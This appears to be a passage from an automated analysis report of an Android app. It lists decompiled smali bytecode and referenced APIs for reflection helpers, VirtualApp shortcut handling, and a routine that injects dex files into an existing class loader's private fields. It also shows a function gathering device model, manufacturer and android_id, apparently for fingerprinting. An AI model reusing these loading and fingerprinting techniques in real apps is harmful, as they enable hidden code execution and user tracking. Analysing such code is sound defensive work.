                              • java.lang.reflect.Field.getName
                              • java.lang.Class.getDeclaredMethod
                              • java.lang.reflect.Method.setAccessible
                              • java.lang.Class.getDeclaredMethods
                              • java.lang.reflect.Method.getName
                              • java.lang.reflect.Field.getName
                              • java.lang.String.equals
                              • java.lang.reflect.Method.setAccessible
                              Strings
                              • TYPE
                              Position Instruction Meta Information
                              0.annotation system Ldalvik/annotation/Signature;
                              1value = {
                              2"(",
                              3"Ljava/lang/Class",
                              4"<*>;",
                              5"Ljava/lang/reflect/Field;",
                              6")V"
                              7}
                              8.end annotation
                              9.prologue
                              10const/4 v6, 0x1
                              11const/4 v1, 0x0
                              13invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                              14const-class v0, Lmirror/MethodParams;
                              16invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->isAnnotationPresent(Ljava/lang/Class;)Z
                              17move-result v0
                              18if-eqz v0, :cond_6a
                              19const-class v0, Lmirror/MethodParams;
                              21invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                              22move-result-object v0
                              23check-cast v0, Lmirror/MethodParams;
                              25invoke-interface {v0}, Lmirror/MethodParams;->value()[Ljava/lang/Class;
                              26move-result-object v2
                              27goto_19: array-length v0, v2
                              28if-ge v1, v0, :cond_4d
                              29aget-object v0, v2, v1
                              31invoke-virtual {v0}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              32move-result-object v3
                              34invoke-virtual {p0}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                              35move-result-object v4
                              37invoke-virtual {v4}, Ljava/lang/Class;->getClassLoader()Ljava/lang/ClassLoader;
                              38move-result-object v4
                              39if-ne v3, v4, :cond_42
                              40try_start_2c:
                              41invoke-virtual {v0}, Ljava/lang/Class;->getName()Ljava/lang/String;
                              42move-result-object v3
                              44invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              46const-string v3, "TYPE"
                              48invoke-virtual {v0, v3}, Ljava/lang/Class;->getField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                              49move-result-object v0
                              50const/4 v3, 0x0
                              52invoke-virtual {v0, v3}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                              53move-result-object v0
                              54check-cast v0, Ljava/lang/Class;
                              55aput-object v0, v2, v1
                              56cond_42: add-int/lit8 v0, v1, 0x1
                              57move v1, v0
                              58goto/16 :goto_19
                              59catch_46: move-exception v0
                              60new-instance v1, Ljava/lang/RuntimeException;
                              62invoke-direct {v1, v0}, Ljava/lang/RuntimeException;-><init>(Ljava/lang/Throwable;)V
                              63throw v1
                              64cond_4d:
                              65invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              66move-result-object v0
                              68invoke-virtual {p1, v0, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              69move-result-object v0
                              70iput-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              72iget-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              74invoke-virtual {v0, v6}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              75goto_5c:
                              76iget-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              77if-nez v0, :cond_ce
                              78new-instance v0, Ljava/lang/NoSuchMethodException;
                              80invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              81move-result-object v1
                              83invoke-direct {v0, v1}, Ljava/lang/NoSuchMethodException;-><init>(Ljava/lang/String;)V
                              84throw v0
                              85cond_6a: const-class v0, Lmirror/MethodReflectParams;
                              87invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->isAnnotationPresent(Ljava/lang/Class;)Z
                              88move-result v0
                              89if-eqz v0, :cond_ac
                              90const-class v0, Lmirror/MethodReflectParams;
                              92invoke-virtual {p2, v0}, Ljava/lang/reflect/Field;->getAnnotation(Ljava/lang/Class;)Ljava/lang/annotation/Annotation;
                              93move-result-object v0
                              94check-cast v0, Lmirror/MethodReflectParams;
                              96invoke-interface {v0}, Lmirror/MethodReflectParams;->value()[Ljava/lang/String;
                              97move-result-object v3
                              98array-length v0, v3
                              99new-array v4, v0, [Ljava/lang/Class;
                              100goto_81: array-length v0, v3
                              101if-ge v1, v0, :cond_9c
                              102aget-object v0, v3, v1
                              104invoke-static {v0}, Lmirror/RefStaticMethod;->getProtoType(Ljava/lang/String;)Ljava/lang/Class;
                              105move-result-object v0
                              106if-nez v0, :cond_92
                              107try_start_8c: aget-object v2, v3, v1
                              109invoke-static {v2}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              110try_end_91: move-result-object v0
                              111cond_92: aput-object v0, v4, v1
                              112add-int/lit8 v1, v1, 0x1
                              113goto/16 :goto_81
                              114catch_97: move-exception v2
                              116invoke-virtual {v2}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              117goto/16 :goto_92
                              118cond_9c:
                              119invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              120move-result-object v0
                              122invoke-virtual {p1, v0, v4}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                              123move-result-object v0
                              124iput-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              126iget-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              128invoke-virtual {v0, v6}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              129goto/16 :goto_5c
                              130cond_ac:
                              131invoke-virtual {p1}, Ljava/lang/Class;->getDeclaredMethods()[Ljava/lang/reflect/Method;
                              132move-result-object v0
                              133array-length v2, v0
                              134goto_b1: if-ge v1, v2, :cond_5c
                              135aget-object v3, v0, v1
                              137invoke-virtual {v3}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                              138move-result-object v4
                              140invoke-virtual {p2}, Ljava/lang/reflect/Field;->getName()Ljava/lang/String;
                              141move-result-object v5
                              143invoke-virtual {v4, v5}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              144move-result v4
                              145if-eqz v4, :cond_cb
                              146iput-object v3, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              148iget-object v0, p0, Lmirror/RefMethod;->method:Ljava/lang/reflect/Method;
                              150invoke-virtual {v0, v6}, Ljava/lang/reflect/Method;->setAccessible(Z)V
                              151goto/16 :goto_5c
                              152cond_cb: add-int/lit8 v1, v1, 0x1
                              153goto/16 :goto_b1
                              154cond_ce: return-void
                              Cross References
                              APIs
                              • android.content.Context.getDir
                              • java.io.File.getAbsolutePath
                              • dalvik.system.DexClassLoader.<init>
                              • java.io.File.<init>
                              • java.io.File.getName
                              • java.lang.String.replaceAll
                              • java.lang.Class.forName
                              • java.lang.Class.getConstructor
                              • java.lang.StringBuilder.<init>
                              • android.content.Context.getDir
                              • java.io.File.getAbsolutePath
                              • java.lang.StringBuilder.append
                              • java.io.File.separator:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.content.Context.getDir
                              • java.io.File.getAbsolutePath
                              • java.lang.reflect.Constructor.newInstance
                              Strings
                              • dex
                              • \\.[a-zA-Z0-9]+
                              • .lex
                              • dalvik.system.LexClassLoader
                              • mPaths
                              • mRawDexPath
                              • mFiles
                              • mZips
                              • mLexs
                              • mDexs
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v4, 0x4
                              2const/4 v9, 0x3
                              3const/4 v8, 0x2
                              4const/4 v7, 0x1
                              5const/4 v6, 0x0
                              6new-instance v0, Ldalvik/system/DexClassLoader;
                              8const-string v1, "dex"
                              10invoke-virtual {p0, v1, v6}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              11move-result-object v1
                              13invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              14move-result-object v1
                              16invoke-direct {v0, p3, v1, p3, p1}, Ldalvik/system/DexClassLoader;-><init>(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V
                              17new-instance v0, Ljava/io/File;
                              19invoke-direct {v0, p3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                              21invoke-virtual {v0}, Ljava/io/File;->getName()Ljava/lang/String;
                              22move-result-object v0
                              24const-string v1, "\\.[a-zA-Z0-9]+"
                              26const-string v2, ".lex"
                              28invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              29move-result-object v0
                              31const-string v1, "dalvik.system.LexClassLoader"
                              33invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                              34move-result-object v1
                              35new-array v2, v4, [Ljava/lang/Class;
                              36const-class v3, Ljava/lang/String;
                              37aput-object v3, v2, v6
                              38const-class v3, Ljava/lang/String;
                              39aput-object v3, v2, v7
                              40const-class v3, Ljava/lang/String;
                              41aput-object v3, v2, v8
                              42const-class v3, Ljava/lang/ClassLoader;
                              43aput-object v3, v2, v9
                              45invoke-virtual {v1, v2}, Ljava/lang/Class;->getConstructor([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
                              46move-result-object v2
                              47new-array v3, v4, [Ljava/lang/Object;
                              48new-instance v4, Ljava/lang/StringBuilder;
                              50invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              52const-string v5, "dex"
                              54invoke-virtual {p0, v5, v6}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              55move-result-object v5
                              57invoke-virtual {v5}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              58move-result-object v5
                              60invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              61move-result-object v4
                              63sget-object v5, Ljava/io/File;->separator:Ljava/lang/String;
                              65invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              66move-result-object v4
                              68invoke-virtual {v4, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              69move-result-object v0
                              71invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              72move-result-object v0
                              73aput-object v0, v3, v6
                              75const-string v0, "dex"
                              77invoke-virtual {p0, v0, v6}, Landroid/content/Context;->getDir(Ljava/lang/String;I)Ljava/io/File;
                              78move-result-object v0
                              80invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                              81move-result-object v0
                              82aput-object v0, v3, v7
                              83aput-object p3, v3, v8
                              84aput-object p1, v3, v9
                              86invoke-virtual {v2, v3}, Ljava/lang/reflect/Constructor;->newInstance([Ljava/lang/Object;)Ljava/lang/Object;
                              87move-result-object v0
                              88instance-of v2, p1, Ldalvik/system/PathClassLoader;
                              89if-eqz v2, :cond_93
                              91const-string v2, "mPaths"
                              93const-string v3, "mPaths"
                              95invoke-static {p1, p2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              96move-result-object v3
                              98const-string v4, "mRawDexPath"
                              100invoke-static {v0, v1, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              101move-result-object v4
                              103invoke-static {v3, v4, p4}, Lcom/taobao/android/runtime/ArrayUtils;->appendArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              104move-result-object v3
                              106invoke-static {p1, p2, v2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              107cond_93:
                              108const-string v2, "mFiles"
                              110const-string v3, "mFiles"
                              112invoke-static {p1, p2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              113move-result-object v3
                              115const-string v4, "mFiles"
                              117invoke-static {v0, v1, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              118move-result-object v4
                              120invoke-static {v3, v4, p4}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              121move-result-object v3
                              123invoke-static {p1, p2, v2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              125const-string v2, "mZips"
                              127const-string v3, "mZips"
                              129invoke-static {p1, p2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              130move-result-object v3
                              132const-string v4, "mZips"
                              134invoke-static {v0, v1, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              135move-result-object v4
                              137invoke-static {v3, v4, p4}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              138move-result-object v3
                              140invoke-static {p1, p2, v2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              142const-string v2, "mLexs"
                              144const-string v3, "mLexs"
                              146invoke-static {p1, p2, v3}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              147move-result-object v3
                              149const-string v4, "mDexs"
                              151invoke-static {v0, v1, v4}, Lcom/taobao/android/runtime/ReflectionUtils;->getField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;)Ljava/lang/Object;
                              152move-result-object v0
                              154invoke-static {v3, v0, p4}, Lcom/taobao/android/runtime/ArrayUtils;->combineArray(Ljava/lang/Object;Ljava/lang/Object;Z)Ljava/lang/Object;
                              155move-result-object v0
                              157invoke-static {p1, p2, v2, v0}, Lcom/taobao/android/runtime/ReflectionUtils;->setField(Ljava/lang/Object;Ljava/lang/Class;Ljava/lang/String;Ljava/lang/Object;)V
                              158return-void
                              Cross References
                              APIs
                              • android.content.Context.getPackageManager
                              • android.content.pm.ApplicationInfo.loadLabel
                              • java.lang.CharSequence.toString
                              • android.content.pm.ApplicationInfo.loadIcon
                              • android.content.Intent.<init>
                              • android.content.Intent.setClassName
                              • android.content.Intent.addCategory
                              • android.content.Intent.toUri
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.toUri
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.<init>
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.setAction
                              • android.content.Context.sendBroadcast
                              Strings
                              • android.intent.category.DEFAULT
                              • _VA_|_splash_
                              • _VA_|_intent_
                              • _VA_|_uri_
                              • _VA_|_user_id_
                              • android.intent.extra.shortcut.INTENT
                              • android.intent.extra.shortcut.NAME
                              • android.intent.extra.shortcut.ICON
                              • com.android.launcher.action.INSTALL_SHORTCUT
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              3invoke-virtual {p0, p2, v3}, Lcom/lody/virtual/client/core/VirtualCore;->getInstalledAppInfo(Ljava/lang/String;I)Lcom/lody/virtual/remote/InstalledAppInfo;
                              4move-result-object v0
                              5if-nez v0, :cond_9
                              6move v0, v3
                              7goto_8: return v0
                              8cond_9:
                              9invoke-virtual {v0, p1}, Lcom/lody/virtual/remote/InstalledAppInfo;->getApplicationInfo(I)Landroid/content/pm/ApplicationInfo;
                              10move-result-object v0
                              12iget-object v1, p0, Lcom/lody/virtual/client/core/VirtualCore;->context:Landroid/content/Context;
                              14invoke-virtual {v1}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                              15move-result-object v2
                              16try_start_13:
                              17invoke-virtual {v0, v2}, Landroid/content/pm/ApplicationInfo;->loadLabel(Landroid/content/pm/PackageManager;)Ljava/lang/CharSequence;
                              18move-result-object v1
                              20invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                              21move-result-object v1
                              23invoke-virtual {v0, v2}, Landroid/content/pm/ApplicationInfo;->loadIcon(Landroid/content/pm/PackageManager;)Landroid/graphics/drawable/Drawable;
                              24move-result-object v0
                              26invoke-static {v0}, Lcom/lody/virtual/helper/utils/BitmapUtils;->drawableToBitmap(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
                              27try_end_22: move-result-object v2
                              28if-eqz p4, :cond_96
                              30invoke-interface {p4, v1}, Lcom/lody/virtual/client/core/VirtualCore$OnEmitShortcutListener;->getName(Ljava/lang/String;)Ljava/lang/String;
                              31move-result-object v0
                              32if-eqz v0, :cond_94
                              33goto_2b:
                              34invoke-interface {p4, v2}, Lcom/lody/virtual/client/core/VirtualCore$OnEmitShortcutListener;->getIcon(Landroid/graphics/Bitmap;)Landroid/graphics/Bitmap;
                              35move-result-object v1
                              36if-eqz v1, :cond_91
                              37move-object v7, v1
                              38move-object v1, v0
                              39move-object v0, v7
                              40goto_34:
                              41invoke-virtual {p0, p2, p1}, Lcom/lody/virtual/client/core/VirtualCore;->getLaunchIntent(Ljava/lang/String;I)Landroid/content/Intent;
                              42move-result-object v2
                              43if-nez v2, :cond_3f
                              44move v0, v3
                              45goto/16 :goto_8
                              46catch_3c: move-exception v0
                              47move v0, v3
                              48goto/16 :goto_8
                              49cond_3f: new-instance v4, Landroid/content/Intent;
                              51invoke-direct {v4}, Landroid/content/Intent;-><init>()V
                              53invoke-virtual {p0}, Lcom/lody/virtual/client/core/VirtualCore;->getHostPkg()Ljava/lang/String;
                              54move-result-object v5
                              56sget-object v6, Lcom/lody/virtual/client/env/Constants;->SHORTCUT_PROXY_ACTIVITY_NAME:Ljava/lang/String;
                              58invoke-virtual {v4, v5, v6}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              60const-string v5, "android.intent.category.DEFAULT"
                              62invoke-virtual {v4, v5}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                              63if-eqz p3, :cond_5d
                              65const-string v5, "_VA_|_splash_"
                              67invoke-virtual {p3, v3}, Landroid/content/Intent;->toUri(I)Ljava/lang/String;
                              68move-result-object v6
                              70invoke-virtual {v4, v5, v6}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              71cond_5d:
                              72const-string v5, "_VA_|_intent_"
                              74invoke-virtual {v4, v5, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              76const-string v5, "_VA_|_uri_"
                              78invoke-virtual {v2, v3}, Landroid/content/Intent;->toUri(I)Ljava/lang/String;
                              79move-result-object v2
                              81invoke-virtual {v4, v5, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              83const-string v2, "_VA_|_user_id_"
                              85invoke-virtual {v4, v2, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                              86new-instance v2, Landroid/content/Intent;
                              88invoke-direct {v2}, Landroid/content/Intent;-><init>()V
                              90const-string v3, "android.intent.extra.shortcut.INTENT"
                              92invoke-virtual {v2, v3, v4}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              94const-string v3, "android.intent.extra.shortcut.NAME"
                              96invoke-virtual {v2, v3, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              98const-string v1, "android.intent.extra.shortcut.ICON"
                              100invoke-virtual {v2, v1, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              102const-string v0, "com.android.launcher.action.INSTALL_SHORTCUT"
                              104invoke-virtual {v2, v0}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
                              106iget-object v0, p0, Lcom/lody/virtual/client/core/VirtualCore;->context:Landroid/content/Context;
                              108invoke-virtual {v0, v2}, Landroid/content/Context;->sendBroadcast(Landroid/content/Intent;)V
                              109const/4 v0, 0x1
                              110goto/16 :goto_8
                              111cond_91: move-object v1, v0
                              112move-object v0, v2
                              113goto/16 :goto_34
                              114cond_94: move-object v0, v1
                              115goto/16 :goto_2b
                              116cond_96: move-object v0, v2
                              117goto/16 :goto_34
                              Cross References
                              APIs
                              • android.content.Intent.getParcelableExtra
                              • android.content.Intent.resolveActivity
                              • android.content.ComponentName.getPackageName
                              • android.content.Intent.<init>
                              • android.content.Intent.setClassName
                              • android.content.Intent.addCategory
                              • android.content.Intent.putExtra
                              • android.content.Intent.toUri
                              • android.content.Intent.putExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.removeExtra
                              • android.content.Intent.putExtra
                              • android.content.Intent.getParcelableExtra
                              • android.content.Intent$ShortcutIconResource.packageName:Ljava/lang/String
                              • android.text.TextUtils.equals
                              • android.content.Intent$ShortcutIconResource.resourceName:Ljava/lang/String
                              • android.content.res.Resources.getIdentifier
                              • android.content.res.Resources.getDrawable
                              • android.content.Intent.removeExtra
                              • android.content.Intent.putExtra
                              • java.lang.Throwable.printStackTrace
                              Strings
                              • android.intent.extra.shortcut.INTENT
                              • ShortcutHandleActivity
                              • android.intent.category.DEFAULT
                              • _VA_|_intent_
                              • _VA_|_uri_
                              • _VA_|_user_id_
                              • android.intent.extra.shortcut.ICON_RESOURCE
                              • drawable
                              • android.intent.extra.shortcut.ICON
                              Position Instruction Meta Information
                              0.prologue
                              2const-string v0, "android.intent.extra.shortcut.INTENT"
                              4invoke-virtual {p1, v0}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
                              5move-result-object v0
                              6check-cast v0, Landroid/content/Intent;
                              7if-eqz v0, :cond_8d
                              9invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->getPM()Landroid/content/pm/PackageManager;
                              10move-result-object v1
                              12invoke-virtual {v0, v1}, Landroid/content/Intent;->resolveActivity(Landroid/content/pm/PackageManager;)Landroid/content/ComponentName;
                              13move-result-object v1
                              14if-eqz v1, :cond_8d
                              16invoke-virtual {v1}, Landroid/content/ComponentName;->getPackageName()Ljava/lang/String;
                              17move-result-object v1
                              18new-instance v2, Landroid/content/Intent;
                              20invoke-direct {v2}, Landroid/content/Intent;-><init>()V
                              22invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$BroadcastIntent;->getHostPkg()Ljava/lang/String;
                              23move-result-object v3
                              25const-string v4, "ShortcutHandleActivity"
                              27invoke-static {v4}, Lcom/lody/virtual/client/stub/VASettings;->getRandomName(Ljava/lang/String;)Ljava/lang/String;
                              28move-result-object v4
                              30invoke-virtual {v2, v3, v4}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              32const-string v3, "android.intent.category.DEFAULT"
                              34invoke-virtual {v2, v3}, Landroid/content/Intent;->addCategory(Ljava/lang/String;)Landroid/content/Intent;
                              36const-string v3, "_VA_|_intent_"
                              38invoke-virtual {v2, v3, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              40const-string v3, "_VA_|_uri_"
                              41const/4 v4, 0x0
                              43invoke-virtual {v0, v4}, Landroid/content/Intent;->toUri(I)Ljava/lang/String;
                              44move-result-object v0
                              46invoke-virtual {v2, v3, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
                              48const-string v0, "_VA_|_user_id_"
                              50invoke-static {}, Lcom/lody/virtual/os/VUserHandle;->myUserId()I
                              51move-result v3
                              53invoke-virtual {v2, v0, v3}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
                              55const-string v0, "android.intent.extra.shortcut.INTENT"
                              57invoke-virtual {p1, v0}, Landroid/content/Intent;->removeExtra(Ljava/lang/String;)V
                              59const-string v0, "android.intent.extra.shortcut.INTENT"
                              61invoke-virtual {p1, v0, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              63const-string v0, "android.intent.extra.shortcut.ICON_RESOURCE"
                              65invoke-virtual {p1, v0}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;
                              66move-result-object v0
                              67check-cast v0, Landroid/content/Intent$ShortcutIconResource;
                              68if-eqz v0, :cond_8d
                              70iget-object v2, v0, Landroid/content/Intent$ShortcutIconResource;->packageName:Ljava/lang/String;
                              72invoke-static {}, Lcom/lody/virtual/client/hook/proxies/am/MethodProxies$BroadcastIntent;->getHostPkg()Ljava/lang/String;
                              73move-result-object v3
                              75invoke-static {v2, v3}, Landroid/text/TextUtils;->equals(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Z
                              76move-result v2
                              77if-nez v2, :cond_8d
                              78try_start_67:
                              79invoke-static {}, Lcom/lody/virtual/client/core/VirtualCore;->get()Lcom/lody/virtual/client/core/VirtualCore;
                              80move-result-object v2
                              82invoke-virtual {v2, v1}, Lcom/lody/virtual/client/core/VirtualCore;->getResources(Ljava/lang/String;)Landroid/content/res/Resources;
                              83move-result-object v2
                              85iget-object v0, v0, Landroid/content/Intent$ShortcutIconResource;->resourceName:Ljava/lang/String;
                              87const-string v3, "drawable"
                              89invoke-virtual {v2, v0, v3, v1}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                              90move-result v0
                              91if-lez v0, :cond_8d
                              93invoke-virtual {v2, v0}, Landroid/content/res/Resources;->getDrawable(I)Landroid/graphics/drawable/Drawable;
                              94move-result-object v0
                              96invoke-static {v0}, Lcom/lody/virtual/helper/utils/BitmapUtils;->drawableToBitmap(Landroid/graphics/drawable/Drawable;)Landroid/graphics/Bitmap;
                              97move-result-object v0
                              98if-eqz v0, :cond_8d
                              100const-string v1, "android.intent.extra.shortcut.ICON_RESOURCE"
                              102invoke-virtual {p1, v1}, Landroid/content/Intent;->removeExtra(Ljava/lang/String;)V
                              104const-string v1, "android.intent.extra.shortcut.ICON"
                              106invoke-virtual {p1, v1, v0}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
                              107goto_8d: return-object p1
                              108catch_8e: move-exception v0
                              110invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              111goto/16 :goto_8d
                              Cross References
                              APIs
                              • java.lang.StringBuilder.<init>
                              • android.os.Build.MODEL:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.os.Build.MANUFACTURER:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.os.Build.PRODUCT:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • android.content.Context.getContentResolver
                              • android.provider.Settings$System.getString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.String.length
                              • java.lang.String.substring
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.String.length
                              • java.lang.String.substring
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.String.length
                              • java.lang.String.substring
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              Strings
                              • android_id
                              • .
                              • /
                              • .datacache/
                              Position Instruction Meta Information
                              0.prologue
                              1const-class v1, Lsdk/nicro/lu/l;
                              2monitor-enter v1
                              3try_start_3: new-instance v0, Ljava/lang/StringBuilder;
                              5invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              7sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                              9invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              10move-result-object v0
                              12sget-object v2, Landroid/os/Build;->MANUFACTURER:Ljava/lang/String;
                              14invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              15move-result-object v0
                              17sget-object v2, Landroid/os/Build;->PRODUCT:Ljava/lang/String;
                              19invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              20move-result-object v0
                              22invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                              23move-result-object v2
                              25const-string/jumbo v3, "android_id"
                              27invoke-static {v2, v3}, Landroid/provider/Settings$System;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                              28move-result-object v2
                              30invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              31move-result-object v0
